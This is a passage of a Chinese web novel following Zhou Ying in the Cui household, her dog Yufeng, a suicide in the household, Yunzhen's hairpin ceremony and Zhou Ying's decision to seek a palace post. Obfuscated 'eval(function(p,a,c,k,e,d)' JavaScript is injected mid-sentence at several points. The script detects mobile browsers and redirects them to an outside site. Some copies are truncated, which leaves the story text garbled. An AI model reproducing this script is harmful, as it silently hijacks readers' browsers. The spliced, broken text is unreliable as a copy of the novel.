崔述“嗯”了声，她便又问：“有什么口信要代为转达吗？” “叫蕴真听话些。”他说着往灯烛尽灭的暖阁里看了一眼，同周缨作辞。 周缨向他盈盈一拜，已有几分大家闺秀的娴雅端庄显露：“今日多谢。” 因回来得晚，周缨草草收拾完便抓紧上榻休息，可惜夜里冷风吹得狠了，头隐隐作痛，睡得并不安稳，待天将明时，才沉沉眠去。奈何好景不长，不多时，便被蕴真吵醒。 不过是纵容自己犯懒多眠了片刻，便叫蕴真抢了先。蕴真洗漱完后，正要来叫她起床，好去拜见长辈，路过屏风时瞥见她藏在后面的麂皮靴，跑过来将她摇醒，要同她算账：“你昨夜偷溜出去玩了？” 周缨迷迷糊糊地睁开眼，意识还未回笼，便听她接道：“别骗我，你那鞋上全是泥，府里上哪儿能沾这么多泥？”又纳闷儿道，“你便溜出去逛街凑热闹，也不该有这么多泥，你昨晚到底做什么去了？” 一连串发问令周缨听得头晕，忙将她从身上推开：“小姑奶奶，容我起来跟你慢慢说，再嚷就害所有人都知道了。” 蕴真忙噤声，等她梳洗完，拉着她往澄思堂走，路上故意拽着她走得快些，将丫鬟婆子们抛下一段距离，压低声音问：“可以告诉我了吗？” “我同你三哥出去了一趟。” 蕴真顿住脚，鼻子微僵：“你不叫我。” “你醉了，已经睡下了。” 蕴真有些委屈，眼圈儿慢慢泛起红，周缨瞧她要落泪了，忙说：“他托你一件事。” 蕴真果然心情转好，雀跃道：“什么事？” “拜访杜太傅。” 蕴真思忖片刻，怅然道：“他如今确实不便去。” 辞过崔公夫妇二人，蕴真径直将周缨拽回自个儿院中，打开八宝阁，在里边东翻西找，同周缨交代：“三哥难得托我一回，这事一定要办得漂亮，周缨姐姐你也来帮我选，贺礼要贵重的，有雅趣些的更好，不能落了下乘。” 两人选了小半个时辰，周缨挑出来一块绘四贤雅集的黄花梨嵌大理石座屏，崔蕴真拿着手中的澄心砚左看右看，末了放回架上：“还是这座屏好些，就是稍大点，得找个合适的器具来装。” 周缨选一匹雨过天青的绡丝将座屏包裹好，放入蕴真找来的箱奁中，二人乘车前往安仁巷，于门前递拜帖，听闻门子说杜太傅已许久不见外客时，都已觉得此行恐怕无果，怕只能托门子代为转呈，不料门子折返时竟恭敬请她二人进门。 二人被引至前院客厅，蕴真早先随崔述来过一回，见着斜倚在藤椅中须发皆白的老者，拉着周缨一道行礼：“见过太傅，伏愿岁安。” 杜悯虚张着眼往这边看来，打量一眼生客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572715|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，请她二人落座，命人上茶。 蕴真说过几句讨巧话，方才禀明来意：“三哥承蒙太傅多年教导，而今……蕴真不才，代兄行故人之仪，还望太傅恕三哥之罪。” 杜悯如炬慧眼直视着她：“他当真已故？” 长者目光洞若观火，蕴真招架不住，怯懦道：“自南方来信说兄长于流放途中失足坠崖，迄今已九月有余，亡人难返，家中已为他立了灵位。” 她说的本也不假，但那牌位已在郑守谦受杖那日，被崔公下朝回来时亲手摔碎。 谁知杜悯霍然起身，拂袖送客：“稚子小儿，竟也敢戏弄老夫，这礼老夫不收，还请带回去。” 蕴真惶然看向杜悯，不知他何故出此言，一时惶恐，求助般地看向周缨。 周缨轻轻抚过她的手背，示意她安心，她心下才稍定，勉强稳住心神同杜悯辞别，待出了大门，心中仍旧戚戚，小声说：“我从未见过杜太傅动怒，先前来那回，他极温和地让仆役带我去玩。” 周缨宽慰她：“来看过便是将心意带到，太傅一时在气头上，待时日久了，冷静下来，会明白的。” 听她如此说，兼之无计可施，蕴真只好怏怏折返。 岂料周缨脚方踩上杌凳欲登车返回，就听身后有人唤她留步，说杜悯请她进去，蕴真不解地探头出来，周缨点头示意她稍待，随仆役踅返。 杜悯负手立于檐下，看向庭中合抱粗的柏树。 枝叶迎风轻拂，院中无人，而声在树间。 周缨走到近前，未及行礼，便听他说：“这长青树乃永昌九年，述安拜入我门下时亲手所植，而今已有十七载，枝冠如盖，足可蔽日截雨。 “我不是他的座师，他是我真正收入门下的学生。 “他天资聪颖，治学刻苦，年少中进士，从崇宁县令一路做起，八年里破格提拔数次，年纪轻轻迁至刑部右侍郎，掌刑狱洗民冤。”杜悯目光随一片纷飞的树叶移动，长髯飘动，“可惜选了一条错路。” 周缨伸手揽下那片微黄的落叶，语声淡淡：“杜先生未曾走过他所选的路，又怎知他走的是错路呢？” 杜悯转头看她一眼，笑道：“看来请你回来没错。崔家那二丫头品性虽也极好，但到底娇纵，又没经过什么事，述安不大可能叫她单独来拜谒我。” 周缨微微颔首。 “朝堂风云变幻，一旦行差踏错，立刻便有能人取而代之，不出两年，朝堂上就会忘记曾经有过这么一位少年英才。”杜悯轻叹，“但他自己当明白，并非如此便可以完全隐身人后操纵朝野，此乃心术不正之举。一旦出手，旁人或许想不起有他这号人物，但熟识之人，自会怀疑是他的手笔。” “其实我不知道他在做什么事。”周缨似懂非懂，坦诚道，“我对他的了解，不及先生万一。” 杜悯讶然看向她。 “我只是机缘巧合下随他从南荒之地前往玉京、暂时寓居在崔家的过客，仅此而已。杜先生说的有些话，我大概能猜出一些，有些话我则半点听不明白。” 杜悯眼中有失望之色一闪而过。 “叶尚离根，天道如此，学生背师而驰之，不也合乎情理么？”周缨摊开手，那片枯叶立即被风卷走，在空中打了个转儿，失了痕迹。 “我为旁观者，不通庙堂之事。 “我只知，昨夜路过先生府外，有人久视不肯移目。” 32. 簪缨一梦（八） 从杜太傅府中出来，天变了脸，疏疏洒了些雨点，二人乘车回府，蕴真说有些乏累，先回院中休息，周缨也没多说什么，只叮嘱婆子记得煮碗姜汤，以防受寒。 蕴真窝在屋中几日，极少出来，周缨也不去扰她，埋首书卷，越发废寝忘食。 她清楚地知道，她已不能在此地勾留太久，虽说当初前来崔府暂避是迫不得已，但她确实也因此得了极大的便利。崔家藏书之丰足以令她惊叹，等她踏出这道门，恐怕终生也再难见到规模如此宏大的藏书了。 于是她只能越发珍惜时间，就连睡觉的时辰也控制得越来越短，竹影松心见她辛苦，也不敢多劝，只好默默在夜里多燃几盏灯烛。 初七那日，蕴真满脸喜气地跑来找她，向她邀功：“周缨姐姐，你前几日问我的，关于格物致知一说的渊薮，喏，我这几日翻了不少从前的书，总算梳理出来了。”说着便将鞋一脱，爬上罗汉榻，与她挤在一处，脸贴脸地一起翻阅带来的笔记。 周缨时不时问上一句，又凝神思索一阵，才继续往下看去。 蕴真不免叹气：“看你这劲头，我都在眼巴巴地数上元还有几日到了，二嫂答应要给我聘个西席，等先生来了，你去我那里，与我一同上课罢？” 周缨作势将她压倒，去掐她脸蛋：“明明白白为我提的要求，为何要扯自己当幌子？” “这都被你发现啦。”蕴真乐出声来，“这是我俩的秘密。咱们现在有两个秘密啦！太傅是一件，先生也是一件。” “嗯。”周缨唇角亦压不住。 竹影这时慌慌张张地跑进来，怯生生地说：“咱们院里来了只小狗，不知从哪里跑进来的。” 蕴真一翻便下了榻，趿着鞋往外跑，边跑边取笑她：“竹影你怕狗是不是？我从没见你这么慌过。” 周缨也跟过去看热闹，院墙下已聚了好几个围作一团的丫鬟，议论纷纷，有说该去问问是哪个院里跑过来的，有说家里哪有主子养狗，准是外头趁门上小子不注意偷跑进来的，也有说未必，万一哪位主子近来心情好，添了个新玩意儿呢，指不定就是二郎家里养来逗易哥儿的。 蕴真凑上前去，见是一只一掌长的小黑犬，琥珀色的眼珠不停地转来转去，带着怯意，显然是被这么多人吓着了。 蕴真胆子大，想伸出手去摸摸它脑袋，谁知小狗竟突然冲她吠叫起来，吓得她立时将手缩回，她只好远远看着，又实在心痒得厉害。 周缨走至人群中间，仔细看了一眼，心中陡然涌起一阵难以言状的情绪。 这只小狗，实在是与黑豆小时候太像了。 她刚将黑豆捡回家时，黑豆也就这般巴掌大一点，黢黑的一团，病蔫蔫儿，怯生生，却又温顺至极。 她缓慢靠近，那黑犬耸鼻嗅了嗅，往她这边慢慢走过来。 周缨伸出手去，它迟疑片刻，竟然在她掌心轻轻蹭了蹭。 周缨倏地落下泪来。 “周缨姐姐，”蕴真疑惑地看向她，“你怎么了？” 周缨没说话，随意将眼泪擦干，抚身将小黑犬抱进怀里。 黑犬并不挣扎，安安静静地打量着她，片刻过后，轻轻舔舐了下她的手指。 竹影仍是害怕，说话都还带着颤音儿：“周姑娘，这狗也不知是哪里偷跑进来的，万一身上带着些什么不干不净的，还是谨慎些好，真要收留的话，也先养在外院如何？” 周缨在黑犬脑袋上摸了摸，将干干净净的前爪递给她看：“不是外头乱跑进来的，有人精心养着的。” 竹影忙指挥小丫头们去各院里报信，问问是不是哪位主子或者偷养畜生的仆役养的。 蕴真分析道：“父亲板正，母亲自然不会养。含灵还小，二嫂也不会。既不是主子养的，那只能是哪个丫头婆子偷偷养的了，这般闯到客院里冲撞了贵客，自然不会承认，大喇喇去问定然问不出什么，只有去荒着的院子里瞧瞧，看能不能找出喂养这畜生的物什，倒还能有些线索。” 竹影听她说的头头是道，转头和婆子商量起来，周缨阻道：“既是仆役偷偷养的，眼下人都去各主子院里报信了，此时再挨个查恐怕也查不出什么了，早毁尸灭迹了，不如就先养着吧。” 难得见周缨主动拿主意，蕴真自然说好。 两人一起进了屋，蕴真反手将门一关，凑上来盘问她：“姐姐方才为什么哭？” “和我以前养的那只很像，眼睛简直一模一样。”周缨也不瞒她。 “难怪。”蕴真伸手来摸小黑犬的脑袋，心中还怯怯的，怕它又发狠。 周缨轻轻抚着它的背，让她别怕，蕴真受了鼓舞，大着胆子摸了摸，果然没有再激起吠叫，羡慕地叹道：“周缨姐姐果然好，连小狗都喜欢你。” 周缨失笑：“它性子其实很温顺，方才是一下见了那么多人，心里害怕，现在人少，心情平定下来，知道你不是恶人，就不怕你啦。” “是吗？”蕴真将它捧在手上举高，见它果然没有凶人，笑出声来，“还挺乖的，姐姐给它取个名字吧。” 周缨仔细看了看，说：“是只小公犬呢，不如叫驭风吧。” 蕴真连连点头：“好呀，腿这么长，长大些肯定跑得快。”又将小狗举得更高，笑着在它脑门儿上点了点，“好小子，你往后就叫驭风了，听见没有，好威猛的名字呢。” 驭风冲她叫了一声，似在回应。 周缨却有些发怔。 她方才是在诓骗蕴真，怡园离四处院落都远，独独离崔述和蕴真的院落近些，就算有狗走失，也不当慌不择路跑到这里来。更何况，方才那么多人在场，这只不安怯懦的小狗却独独选择了向她走来。 它出现在怡园之前，就接触过她的气味，是唯一合理的解释。 而这玉京之中，除了崔府，也就她曾暂住的净波门外的那方小院，会保存有她所用过的物件。 若她没猜错，驭风是崔述派人送进来的。 至于原因，无非是今日是她的生辰。她来时身负惨案，崔府中人不好细问她的过往，他却亲手替她写过诉状，知晓她的一切。 “小姑。” 嫩声嫩气的呼唤将周缨的思绪拉回，她抬眼看去，蕴真已拉开门让那两个小祖宗进了门。 崔易自觉做哥哥的该有些担当，便先开口解释：“小姑，我听婆子说这院里捡了条小狗，就带妹妹过来看看。” 蕴真抱着驭风问他：“二嫂同意你带妹妹过来吗？” 崔易点头：“交代我小心些，不能让狗伤到妹妹。” 蕴真将驭风放到地上，周缨蹲下身将含灵圈在身前，兄妹俩目不转睛地盯着小狗，驭风也不安地打量着这两个生客。 松心呈上一碟切好的薄肉片，崔易胆子大些，想抓肉片喂狗，周缨提醒他：“小心些，用筷。” 崔易乖乖照做，用竹筷将肉片喂至驭风跟前，驭风迟疑片刻，馋得厉害又胆怯不敢上前，心里纠斗一番后，终于还是口腹之欲占了上风，小心翼翼地往前探出一只前爪，快速咬住肉片，往后退开一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说罢延着小径走回院中，蒋萱正在门口探看，见他魂不守舍地进来，嗔道：“怎么了？婆子说你半道被那丫头绊住了，怎么还和她说起话来了？” 崔则清醒过来，并不答话，只同她提起另一事：“蕴真要请夫子的事，你看得怎么样了？” “也不知你这妹子是真心还是玩笑话，我倒是正选着人，就是怕她只是图一时新鲜，请了名气大的先生过来，到时半途而废，反倒是对先生的不敬。” “蕴真自幼跟着三弟读书，这事上她不会怠慢，既说了要读，便是当真要读下去的。” “说是这么说，但毕竟要及笄了，眼看着要提嫁娶的话了，早年虽如此，也不知如今心思还在不在这上头。” 崔则想了一想，替她荐了一人：“不用非请大儒，反倒是庶务少些，能将教书这事放在心上、肯多花些时间精力的更好，我有一品性不错的同窗，去岁丁忧，近来倒欠个营生的活计，你派人去探探口风，早些请来为要。” “你怎么突然对蕴真的事上起心来？”蒋萱纳闷儿道。 “你真没看出来？蕴真聘这西席另有用意。” 蒋萱被他点醒：“给周缨的？”末了自言自语道，“我近来倒觉得她越发顺眼了些，她待易哥儿和含灵都是极好的，俩孩子也愿意和她亲近，动不动去找她，她也不嫌麻烦，尽心得很，品性确实不错。我们和三弟的恩怨左右跟她无关，这事我自然好生办，我明日便派人去说合说合。不过咱们家也不是聘不起一个先生，你们兄妹俩这般拐弯抹角的做什么呢？” 崔则并不答话，抱着含灵往屋内走，边走边朗声教她念书—— “夫仁者，盖推己以及人也。” 33. 簪缨一梦（九） 若华门东设灯市，流光若昼。 初十之日始，周缨与蕴真便一直在灯市上盘桓，奋战四日后，带回诸多精细雅致的玩意儿，认真挑选过后，二人于上元当日依各人喜好送至各院中，意在给众人添个增福添瑞的彩头。 行至兰姨娘处，却见院中关门闭户，敲门不应，细细听来，闻得风中隐有哀啼。 仆妇急急赶来，将二人劝回各自院中，周缨瞧出些端倪来，夜里设法探问了几遭，方知在这样大好的日子里，兰序悄无声息地亡故了。 周缨心头如遭雷击，再生不出温书的心思，早早上了榻，夜里却翻来覆去辗转难眠。 翌日便找了个由头，避开丫鬟仆役，再次探访，只见肃穆空堂，白幔高垂，院中只有昔日旧仆守灵，无人前来祭拜。 兰序的贴身丫鬟同她还算熟识，见她来访，悄悄引她进门添香：“周姑娘肯来祭奠，也不枉兰姨娘将姑娘视作朋友一场了。” 从她口中，周缨得知，兰序是吞金走的，走前亲点燃了那盏新制成的九转莲花灯，光影摇曳中，她坐在铜镜前细细理妆，摘掉周身饰物、去尽铅华后，在莲花光影中，安安静静地伏于案上走了。 走时，身畔唯留灯与茶相伴。 因是自尽，又在年节里，崔府并未大肆操办，上元一过，依制发完丧，从此府里便再无人提起过此人，似是从未有过兰序这人一般。 独独周缨在夜里，似还偶尔能闻到一阵淡淡的茶香，忆起那双笼着淡淡哀愁的眸子。 - 七日后，蒋萱信守诺言，派仆役自城西将先生接来，于前院设学堂，正式教周缨二人读书。当然，蕴真自小进学，授课全然照顾周缨的进度，更特地添了一门算学。 周缨知晓众人好意，为此愈发用心，挑灯夜战不过尔尔，人眼见着一日日地憔悴下来，然而眼睛却一日亮似一日。 小学堂逢五休沐一日，这一日间，蒋萱常掐着缝儿请周缨去玉清院商议，内容是预备给蕴真办笄礼，相关仪程自是由蒋萱拟定，唯独她说自个儿年纪比蕴真大上不少，已不知蕴真这个年纪的女儿喜欢什么，便找周缨来帮忙参谋参谋。 开年过后，蒋萱面上常带着笑，崔则擢升至户部员外郎，虽官阶仍不算高，但毕竟是自备受崔述罢官事件牵连后的新起点，为崔家带来了难得的一丝喜气。 但好景不长，周缨来玉清院中的次数虽不多，还常被崔易和含灵绊住，非要她陪着一起玩，但即便如此，她还是感知到蒋萱眉头紧锁的次数越来越多，好几次在听仆妇禀事时会走神，再至后来，便见用膳时崔公和韦夫人脸上也常阴云密布。 蕴真和她一样被蒙在鼓里，后来才后知后觉地知晓，朝堂局势已出现了翻天覆地的变化，短短几月间，太子被夺监国之权，先前站队表忠心的各家如今都人心惶惶。 周缨隐隐感知到，崔述所承诺她的快了不是空话。行将离开，她愈发用功，蕴真则常叹：“真真疯魔了，同我三哥少时读书那劲儿一样一样的，老天真是眼神儿不好，怎么不把你生成个男儿身，好叫你考取功名去。” 周缨一笑置之，仍埋首书卷，不闻槛外之声。 六月初七，宫中大丧钟鸣，崔家今虽不复昔日之盛，但早年也是钟鸣鼎食之家，宅邸距皇城并不远，九九八十一响丧音隔着宫墙传出，弥散在崔府的每一个角落。 山陵崩，府中上下急着预备素服，仆役脚步匆匆而不闻杂声，井然有序，俨然早有预料。 崔公和韦夫人轮流入宫，既为大行皇帝的丧葬之仪，亦为探听朝堂消息。 四十九日后，嗣君齐应即位，大行皇帝停灵皇家万安寺，这时才有零零散散的消息传出来，说是大行皇帝驾崩当晚，崔述执诏临东宫，王举夺父兄之权，率禁军同往圈禁前太子，震慑老臣，助新帝顺利稳定局势。 新帝登极，同步册王妃章容为后，子齐延为储君，新旧两代君王的权力更迭自此落幕，朝堂表面复归平静。然而肃清前太子一党的雷霆行动仍未停歇，刑部牢狱陆陆续续塞满了人，执笔断生死的堂官自然成了官复原职暂时主事的崔述。 目睹昔日同僚在朝会时陆续失去踪迹，崔公时常嗟叹，韦夫人却难得展露笑颜，让崔公速速放下面子去请崔述回府。 崔公依言去过崔述在净波门外暂居的宅邸一次，吃了闭门羹，回来后闷闷不乐，又架不住妻子百般恳求，只得换上官袍腆颜去刑部官署寻人。 崔家近年虽势微之象已显，但崔允望毕竟有虚爵在身，崔家如今更出了个有从龙之功的大功臣，往后自不可同日而语，刑部小吏不敢怠慢，当即将崔允望带往内署。 崔述正忙于研读卷宗，见有人进来也并未抬头，小吏禀道：“崔侍郎，崔公到了。” 崔述笔尖一顿，抬眼看过来，将笔搁回笔枕，起身相拜：“父亲。” “蜇伏近两年，而今出息了。”崔公自嘲一笑，“如今除了朝会，要见你一面也不易。” “儿子常在衙署，父亲若要寻我，遣人来传话便是。”崔述恭敬回道。 崔允望走近两步，视线落在墨迹未干的案卷上，笑说：“你打算如何处置崔家，向新帝献诚？” 崔述淡道：“父亲与二哥虽投先太子阵营，但于大逆之事上襄助有限，不过犯结党营私之条，圣上已亲裁，此罪不论，既往不咎。” 崔允望轻嗤：“圣上这帝位来得不易，先前雷声阵阵，我道你俩要血洗朝堂，没想到竟是类虎之猫，怀柔至此，如何清洗异党、肃清朝堂？” “父亲慎言，圣上从来志不在此。”崔述恭谨回完话，顿了半晌，又说，“况当以铁腕肃清之处，圣上亦不会宽纵。” 崔允望沉沉地望着他，黄花梨木手杖沉重得坠手，半晌，才说：“后日为蕴真行笄礼，你若还认她这个妹妹，便借此机会搬回来。”顿了顿，又说，“否则，日后蕴真嫁娶之事，便不再问你意见了。” “我知晓了，父亲慢行。” 待崔允望走远，奉和不忿撇嘴：“我虽是崔姓家仆，也忍不住多一句嘴，当日既闹成那般，郎君今又何必应承？” 崔述沉默半晌，方慢慢道：“一则，蕴真幼时常伴吾身，如此场合，焉能缺席？二则，父亲虽有古板之嫌，但这些年的确为我筹谋良多，不必因此生隙。三则……” 奉和支着耳朵听了半晌，也没听到后半句，疑惑地觑他一眼。 三则，三则什么呢? 奉和忖度了许久，也没得出个肯定的结果，倒是两日后，九月廿五，尽管案上的卷宗已堆成小山高，崔述仍旧依言拨冗回了一趟府。 因大行皇帝下葬未久，不得宴请之禁令尚未解除，先前议定的仪程迫不得已全部作废，蕴真的笄礼诸仪从简，仅有自家人在场见证。 事出突然，原本计划中热闹至极的笄礼精简得可称冷清，但蕴真却瞧不出委屈，穿着蒋萱为她置办的新服，安静地坐在位置上，时不时地望一眼中庭。 韦湘看得心疼，却也无法，待赞者称吉时到后，亲自上前执梳为小女挽发。 发髻初挽成，门上的小子一溜烟儿地跑进来，上气不接下气地禀道：“三郎回来了。” 蕴真下意识地站起身来，便望见了疾步进来的崔述。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583057|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 崔述同众人见过礼，方道一声有事来迟，目光转至周缨，淡淡颔首以示见过。 周缨回过礼，站在暗处，没忍住又往这边瞧了一眼，想是匆忙赶来，未及回家更衣，令她头一回见到崔述这般装束。 绯色官服衬得他面如冠玉，身形挺拔如松，神韵如竹，引得她眼神多流连了一息。 崔述在一侧站定，感知到这目光，疑惑地看过来，与周缨的视线撞了个正着，周缨被抓现行，仓促转头避开，耳垂爬上一抹微红。 看得崔述没来由地一笑。 韦湘闻声看过来，疑惑地打量着他，又顺着他的方位往身侧看了一眼，淡扫了眼周缨。 赞者高声唱喏，韦湘收回眼神，将一支通体温润的木兰簪子插入初初挽成的云鬓，其上一行纂刻小字——“金玉其贵，冰雪其洁”。 礼成之后，韦湘和蕴真拉着崔述说话，周缨陪了片刻，悄悄退出门来，回到怡园中继续温书。 竹影松心吃着她带回来的糕点和糖果，远远候在外间，并不扰她。 周缨将前九日先生所授的内容全部翻阅一遍后，梳理出两个尚有疑惑的问题，誊抄到纸上，预备明日向先生请教。 忙活完这一切，天色已晚，檐后熔金，黄灿灿的一片，为屋脊添了一层金色的屏障，周缨看得入神，驭风在她身下钻来钻去也未能使她分心。 驭风被冷落，心生委屈，愈发用力地蹭着她的小腿，叫了一声。 周缨如梦初醒，理好裙裾蹲下身，握着它的前爪，将它半个身子提起来，扮鬼脸逗它：“我们驭风都长这么大啦，刚来时才巴掌大点呢。” 驭风眼巴巴地看着她，眼珠子不住地转，不知在盘算些什么。 “是只聪明的小狗，和我一样呢。”周缨吸吸鼻子，蹭了蹭它的脸。 竹影隔着屏风笑她傻，松心倒看得心疼，小声说：“其实也是个可怜见的。虽说是夫人的远房亲戚，事事都跟二姑娘一样相待吧，衣食用度样样不缺，但到底不是自家人，前头澄思堂热热闹闹，咱们这里免不了冷冷清清的。” 竹影嗑着瓜子应和：“周姑娘性子还算爽利，应当不在意。只是三郎刚回来，一家子许久不见，免不了要亲亲热热地说会儿话，留在那里也尴尬，这才提前回来了吧。” “女儿家哪个不愁思的，面上不说，心里未必不苦。”松心在她脑门上一敲，“旁人家到底待不长的，父母皆亡，又已是这般年岁了，待孝期一过，要么嫁出去，要么嫁进来，再没有别的路了。” 周缨全副心思扑在驭风身上，同它道歉：“对不住嘛，是我错了，近几日功课难了些，冷落了你，但是两位姐姐也把你养的白白胖胖的不是？”末了一看它这通体黢黑的毛发，觉得自个儿实在是有些睁眼说瞎话，枉读这些时日的圣贤书，连道失言，又说，“小家伙，你再不理我，我就要走了哦。” 驭风歪头看她一下，眼睛眨了眨，令她的心都软塌了一块。 “我是认真跟你告别哦，我要走了，往后都不会回来了。你呢，还是留在这里，跟着蕴真吃香喝辣好些，跟着我出去呢，免不得要受苦。”说着又蹭了蹭它的鼻尖，“我曾经没养好一只很威猛的小狗，让它走前吃了很多苦，我怕我还是照顾不好你，不敢带你走。而且……我要去的地方，确实也不能带你去，你呢就大人有大量，看在我这大半年将你养得这么膘肥体壮的份上，原谅我好不好？” 轻微的脚步声响起，周缨蹲得脚麻，站起身来，反手将驭风交给来人，嘱咐将它抱去喂点东西。 转过身来，才见是已换过燕居服饰的崔述。 34. 宫墙万仞（一） 驭风迟疑片刻，欢欣地摇起尾巴钻进这位“生客”的怀中，埋头拱了拱。 周缨脚底发软，踉跄了下，崔述伸手扶住她，沉沉看她一眼，声音一如既往的温醇：“想好去哪儿了么？” 显然是听见了她方才的絮语，周缨伸手指向北方，屋檐背后是高耸的宫中角楼——瞻云台，声音似含了丝心虚：“想好了。” 大行皇帝于万安寺停灵满百日后下葬，新皇下诏精简内侍规模，裁撤年纪超过廿五的宫女，放还故家自由适人。与此同时，将内廷书堂交还六尚掌执，更以六尚缺人为由在民间广选女官，设选擢考试，不论户籍出身，凡年在十六至廿二之间、身家清白不曾犯律皆可参与，只以识字能算为要。某种意义而言，也是新皇登极后内廷的一次换血，意在除宦祸之弊以肃清宫壸。 “为何？”崔述轻抚着驭风的脊背，温和发问，半分诧异不显，仔细听来，却可辨出其间暗含的怅然。 周缨轻轻笑了下：“有没有空出去走走？” “好。”崔述将驭风放下地，与她并肩往角门走去，行至一半，奉和过来找他禀事，他便稍稍落下两步。 再提步时，他的目光落在前方距他两尺远的周缨身上。 大行皇帝西去虽出百日，但玉京仕宦之家仍旧服素，况她本尚在母丧孝期内，今日穿得素雅，一身素白衫子配远山绿月华裙，行动间裙摆漾出月华水波之纹，耳边东珠坠轻晃，步态娴雅，行止从容，风华自显，气度已然不输蕴真。 身后的人久未跟上，周缨疑惑转头：“怎么啦？有事要忙？” 浅淡的笑绽在长开的五官上，竟有几分炫目，教人移不开眼。 崔述忽然想，确实是长大了。 离开平山县已近两载，眼前之人早已从当初孤弱的模子中挣脱了出来，全无半分相像了。 “没怎么。”他敛下心绪，走快两步，同她并行。 来往的仆役住脚问好，见他二人在一处，不由多看两眼。 乘车出净波门外，二人缓步行至玉素河畔，周缨登上清波桥，久久注视着岸边的参天柳树，又似越过古木枝叶间的缝隙，望向高达万仞的巍峨宫墙。 “我还小的时候常常爬到后山，坐在山上的巨石上往下望，那里可以看到通向青水镇的大路，路上常常有挑担去市集的人，偶尔也有系着铃铛的牛和骡子经过，每当赶牲畜的人路过，那铃声就会穿透群山，从山底传上来，特别清脆，我趴在石上，一望就是一下午。我好像是在看来来往往的人，又好像是在看那条路，想知道那条路到底通向哪里，我是不是也可以去路的尽头看看。” “后来我看到了。”周缨顿了顿，继续说，“阿娘生怕别人知道她的来历，加上那人时常恐吓威胁，她自然不肯出门，也不愿意带我去。我稍大些，就一个人悄悄往山脚跑。有一日，我在山脚碰到背谷物去卖的成叔，他把我放进背篓里，背着我去了镇上，我看到了很多很多的人，各色各样的，有的和我一样，穿着破破烂烂，蹲在摆摊的小贩身旁哭闹着要早点回家，也有些衣着稍体面些的，在各个摊贩前停留片刻，剔着牙边听恭维话边挑三拣四。成叔把我背回家后，我同阿娘说，那条路原来也只是条小路，烂泥缠脚，难走得很，镇上也不好，我不喜欢。但我想着，或许再远一些，便不是这样，我还想去更远的路那边看看。 “后来随你走了上千里路，到了棠县，果然见到了与翠竹山完全不同的景象。到棠县的时候，我想那里还不错，舅家还算礼遇，我虽不会与他们一起生活，但偏要强攀的话，那里也可算我半个故乡，那里的人热情，说话嗓门儿大，听着热闹，倘若住下来，或许不会觉得孤单。 “再后来误入玉京，寄居你家中，我想我应该是实现了儿时的愿望。诗礼簪缨，钟鸣鼎食，礼教传家，和睦可亲，是很好很好的景象，是我此生过过的最舒适惬意的日子，更是我幼年时格外期待、想要拥有，但却受限于经历学识，连想象都想象不出来的家的模样。如今忆来，说是幻梦一场也不为过。 “那晚在城外纵马，我忽然想，我已走了这样远，见过了我从前不敢奢望的天地。但我这人，生来就是不知足的。我那时想，我已走了这样远，是不是还能去更高的地方再看看。” 相识以来，崔述还从未听过她这般长篇大论地将心中所想絮絮同他说来。 他站在她身侧，手扶在桥栏上，微微屈身看向起皱的河面，一言不发地听着。 直至她说完，才道：“我记得你那时只是想挣些银钱，小富即安，以为你会想着做些生意，近日正差奉和帮你挑店面。” 周缨先是有些吃惊，后不由想到那八十两的往事，一时只觉恍如隔世，黯然一笑：“那时阿娘状况不好，我其实都没想过能治好她，只想带她离开。她很不喜欢那座深山，却在那里困了一辈子，倘若当真能清醒过来，心病难医，往后的日子或许更加难过。那时急需用钱，难免财迷心窍。 “如今既然不这么急迫，选择自然更随心些。我看过了，若能入选，俸银足够我过日子了，还能攒些下来，逢年过节给蕴真和含灵捎些礼物。若有可能，往后也许还能帮扶林婶他们一把。” 崔述仍旧直直地看向那被风吹皱的河面，似把心里也看皱了。 她从来不是娇养长大的名花，而是一株生于山野长于风霜的冻草，他虽有些意外，但又觉得，她这样夜以继日地读上一年多的书后，做出这个选择倒也不算格外出奇。 只是，宫墙之内，虽高却险，或许并不是她以为的那样好。 但转念一想，她怎么会不知呢，一年里，她该读了多少典，更何况方才蕴真还提过，她喜读史，完成先生的功课后，常花更多时间在史书上，那更当一清二楚了。 他便也没有什么话好说，只是眉头仍旧紧锁着，沉默许久，终是道：“高处或许还有许多。” “对男子而言，或许有很多。”周缨神色平静，显然已经深思熟虑，“但于我这样贫寒出身的女子而言，算不得多。我不能一直受崔家庇佑，纵然能寻到营生之计，但商贾卑贱，况女子乎？往后要当真立得住身，多半还是得找个寻常人家草草嫁了，依靠丈夫立足，可我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周缨移开眼，用尽可能平静的语气回答：“暂未，想着还是当先同你知会一声。” 胸中那口郁气顿时舒畅不少，崔述问：“初试是哪日？” “十日后。” 